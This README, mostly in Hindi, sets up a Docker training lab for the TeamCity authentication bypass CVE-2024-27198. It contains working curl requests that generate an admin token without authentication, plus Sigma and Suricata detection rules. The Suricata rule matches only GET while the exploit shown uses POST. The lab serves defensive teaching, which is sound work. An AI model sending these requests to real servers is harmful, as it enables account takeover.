
Docker-based lab for CVE-2024-27198 TeamCity authentication bypass. Includes exploit reproduction, IoC hunting with Sigma/Suricata rules, and blue-team detection exercises for security training.
TeamCity टोकन प्रबंधन के लिए एक व्यवस्थापक-केवल पृष्ठ प्रदान करता है जो प्रमाणीकरण द्वारा संरक्षित नहीं है। यह एक अप्रमाणित उपयोगकर्ता को व्यवस्थापक उपयोगकर्ता के लिए एक एक्सेस टोकन उत्पन्न करने की अनुमति देता है, यदि वे किसी मौजूदा उपयोगकर्ता की आईडी ढूंढ सकते हैं।
कमजोरी REST API रूटिंग तंत्र में निहित है। एक अप्रमाणित एंडपॉइंट में विशिष्ट वर्ण (जैसे ?jsp=/app/rest/...;.jsp) जोड़कर, हमलावर TeamCity वेब सर्वर को अनुरोध को एक प्रमाणित एंडपॉइंट पर रूट करने के लिए धोखा दे सकते हैं, जबकि सुरक्षा फिल्टर को बायपास कर सकते हैं। इसके लिए किसी पूर्व ज्ञान या पहुंच की आवश्यकता नहीं है, जो इसे शुद्ध 9.8 CVSS स्कोर बनाता है।
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
कमजोर TeamCity इंस्टेंस तक http://localhost:8111 पर पहुँचें। पैच किए गए TeamCity इंस्टेंस तक http://localhost:8112 पर पहुँचें।
उपयोगकर्ता नाम:
admin
पासवर्ड:
admin
बिना प्रमाणीकरण के संसाधन के लिए GET अनुरोध:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
दोनों को 401 स्थिति कोड के साथ त्रुटि वापस करनी चाहिए।
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
इसे इस प्रकार एक टोकन वापस करना चाहिए (टोकन हर बार अलग होता है):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
इसे 401 स्थिति कोड के साथ त्रुटि वापस करनी चाहिए क्योंकि पैच किए गए इंस्टेंस में यह कमजोरी नहीं है।
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
उपयोगकर्ताओं की सूची वापस करनी चाहिए।
प्रयोगशाला पर प्रदर्शन के दौरान, आप एक बड़ी ब्लू टीम खोज दिखा सकते हैं: डिफ़ॉल्ट रूप से, यह कमजोरी अविश्वसनीय रूप से गुप्त है!
;.jsp HTTP अनुरोध लॉग नहीं किए जाते।तो हम इसे कैसे पकड़ें? जब हमलावर अपने निशान साफ करता है! जब हमलावर छिपने के लिए अपने नकली टोकन को हटाता है, तो TeamCity लॉग करता है।
हमलावर को ऑडिट लॉग्स में अपने निशान ढंकते हुए ढूंढें:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(आपको एक लॉग एंट्री दिखाई देगी जो इंगित करती है कि "REDTEAM" टोकन हटा दिया गया था)।
docker compose -f docker-compose.yml down
यह कमजोरी CWE-288: वैकल्पिक पथ या चैनल का उपयोग करके प्रमाणीकरण बाईपास का एक उदाहरण है।
यह दोष Tomcat वेब सर्वर और TeamCity एप्लिकेशन राउटर के बीच पथ भ्रम की समस्या से उत्पन्न होता है। ;.jsp जोड़कर और लक्ष्य REST API एंडपॉइंट को jsp= पैरामीटर में पास करके, प्रारंभिक सुरक्षा फिल्टर अनुरोध को एक सार्वजनिक .jsp फ़ाइल (जिसकी अनुमति है) के लिए एक अप्रमाणित अनुरोध के रूप में व्याख्या करता है। हालांकि, आंतरिक राउटर ;.jsp को हटा देता है और प्रमाणीकरण फिल्टर को लागू किए बिना अनुरोध को प्रतिबंधित /app/rest/ एंडपॉइंट पर अग्रेषित करता है।
वैध उपयोग केस (; की अनुमति क्यों है):
Tomcat सेमीकोलन वर्ण (;) का उपयोग मैट्रिक्स पैरामीटर के लिए करता है। ऐतिहासिक रूप से, इस तंत्र का उपयोग पथ के भीतर सीधे पैरामीटर पास करने के लिए किया जाता है, जैसे कुकीज़ अक्षम होने पर उपयोगकर्ता सत्र स्थिति बनाए रखने के लिए JSESSIONID जोड़ना। यह सामान्य, वैध वेब सर्वर व्यवहार, TeamCity एप्लिकेशन राउटर द्वारा अनुचित सत्यापन के साथ मिलकर, कमजोरी पैदा करता है।
चल रहे या पिछले समझौते का पता लगाने के लिए, ब्लू टीमों को देखना चाहिए:
/app/rest/ एंडपॉइंट को लक्षित करने वाले HTTP अनुरोध, लेकिन URI में विषम ;.jsp स्ट्रिंग शामिल है।teamcity-server.log): एक्सेस टोकन की अज्ञात पीढ़ी या नए प्रशासनिक खातों का निर्माण।क्योंकि प्रारंभिक शोषण डिफ़ॉल्ट रूप से गुप्त है, ब्लू टीमों को हमलावर के शोषण के बाद के कार्यों, जैसे कि निशान छुपाने, का पता लगाने पर निर्भर रहना चाहिए। यहां आपके SIEM के लिए संदिग्ध टोकन हटाने का पता लगाने के लिए एक सिग्मा नियम है:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
यह साबित करने के लिए कि यह डिटेक्शन काम करता है, siem_simulator.py स्क्रिप्ट चलाएं।
docker compose up -d)।python3 siem_simulator.py
नेटवर्क पर इस शोषण प्रयास का पता लगाने के लिए, एक SOC निम्नलिखित IDS नियम को लागू कर सकता है, जो विषम ;.jsp पैटर्न को REST API पथों के साथ देखता है:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
यह साबित करने के लिए कि शमन काम करता है, आप पैच किए गए TeamCity कंटेनर पर पोर्ट 8112 पर बिल्कुल वही शोषण पेलोड लॉन्च कर सकते हैं:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
क्योंकि पैच सख्ती से मार्ग मिलान को लागू करता है और मैट्रिक्स पैरामीटर को ठीक से स्वच्छ करता है, बाईपास विफल हो जाएगा। आपको उत्पन्न टोकन के बजाय 401 अनधिकृत या 404 नहीं मिला प्रतिक्रिया देखनी चाहिए।